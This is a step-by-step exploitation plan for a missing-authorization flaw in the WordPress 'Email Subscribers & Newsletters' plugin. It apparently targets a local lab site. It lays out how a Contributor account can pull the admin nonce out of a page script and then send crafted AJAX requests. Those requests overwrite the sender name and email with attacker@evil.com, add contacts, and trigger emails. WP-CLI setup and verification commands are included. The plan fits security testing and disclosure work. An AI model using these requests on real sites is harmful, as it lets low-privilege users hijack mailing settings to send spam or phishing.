Research Plan: CVE-2026-11592 - Missing Authorization in Email Subscribers & Newsletters

1. Vulnerability Summary

The Email Subscribers & Newsletters plugin (up to 5.9.27) contains a missing authorization vulnerability in its central AJAX dispatcher, ig_es_handle_request. While the action is protected by a nonce, it fails to perform a capability check (e.g., current_user_can( 'manage_options' )). This allows any authenticated user with at least Contributor level access to invoke administrative controllers. These controllers can overwrite global plugin settings (like the "From" name and email), modify audience lists, create campaigns (newsletters), and trigger mass email dispatches.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: ig_es_handle_request
• Vulnerable Hook: wp_ajax_ig_es_handle_request
• Required Parameters:
  • action: ig_es_handle_request
  • security: A valid WordPress nonce for the action ig-es-admin-ajax-nonce.
  • ig_es_action: The internal route to the controller/method (e.g., settings/save_settings).
  • params: An array or JSON object containing the data for the specific action.
• Authentication: Authenticated, Contributor role or higher.
• Preconditions: The attacker must be logged in and obtain a nonce from the admin dashboard.

3. Code Flow

1. Entry Point: The request hits admin-ajax.php with action=ig_es_handle_request.
2. Dispatcher Registration: In lite/admin/class-email-subscribers-admin.php (or similar initialization files), the action wp_ajax_ig_es_handle_request is registered to a handler function (likely handle_request).
3. Nonce Verification: The handler calls check_ajax_referer( 'ig-es-admin-ajax-nonce', 'security' ). This passes because the nonce is exposed to all users allowed in the admin area (including Contributors).
4. Missing Check: The code proceeds to process ig_es_action and params without verifying if the user has manage_options or similar administrative capabilities.
5. Routing: The dispatcher parses ig_es_action (e.g., settings/save_settings).
6. Sink: It calls the relevant controller (e.g., ES_Settings_Controller::save_settings), which updates the WordPress options table or plugin database tables.

4. Nonce Acquisition Strategy

The nonce is localized for the admin environment. Even if a Contributor cannot access the "Settings" menu, the nonce is often enqueued on the general WordPress Dashboard or can be forced by visiting a plugin-specific URL.

1. Login: Log in as a Contributor.
2. Navigate: Go to /wp-admin/admin.php?page=es_campaigns. Even if WordPress shows an "Insufficient Permissions" error, the plugin's scripts are often enqueued because the page parameter matches the ES namespace.
3. Extract: Use the browser context to read the ig_es_js_data object.
   • JS Variable: window.ig_es_js_data
   • Nonce Key: security
   • Command: browser_eval("window.ig_es_js_data?.security")

5. Exploitation Strategy

We will demonstrate the vulnerability by overwriting the plugin's "From Email" and "From Name" settings.

Step 1: Obtain Nonce

Navigate to the dashboard or an ES page and extract the nonce.

Step 2: Overwrite Settings

Send a POST request to admin-ajax.php.

• URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Body:

  action=ig_es_handle_request&
  security=[EXTRACTED_NONCE]&
  ig_es_action=settings/save_settings&
  params[options][ig_es_from_name]=Pwned Name&
  params[options][ig_es_from_email]=attacker@evil.com
  

Step 3: Create a Malicious List (Alternative)

• ig_es_action: lists/add_list
• params[list][name]: Attacker List

6. Test Data Setup

1. Target Version: Ensure Email Subscribers & Newsletters version is <= 5.9.27.
2. User Creation:

   wp user create attacker attacker@example.com --role=contributor --user_pass=password
   

3. Initialize Settings:

   wp option update ig_es_from_name "Original Admin"
   wp option update ig_es_from_email "admin@example.com"
   

7. Expected Results

• The AJAX response should return a success status (likely {"success": true, "data": ...}).
• The WordPress database will be updated with the attacker-controlled values.

8. Verification Steps

After performing the HTTP request, verify the state change using WP-CLI:

# Verify Name Overwrite
wp option get ig_es_from_name
# Expected: Pwned Name

# Verify Email Overwrite
wp option get ig_es_from_email
# Expected: attacker@evil.com

9. Alternative Approaches

If settings/save_settings is blocked or has additional checks, target the Campaigns or Contacts controllers:

• Target: Add a new contact to the "Main" list (ID 1).

  • ig_es_action: contacts/save_contact
  • params[contact][email]: victim@target.com
  • params[contact][first_name]: Spammed
  • params[lists][]: 1

• Target: Dispatch a test email.

  • ig_es_action: settings/send_test_email
  • params[test_email]: attacker@evil.com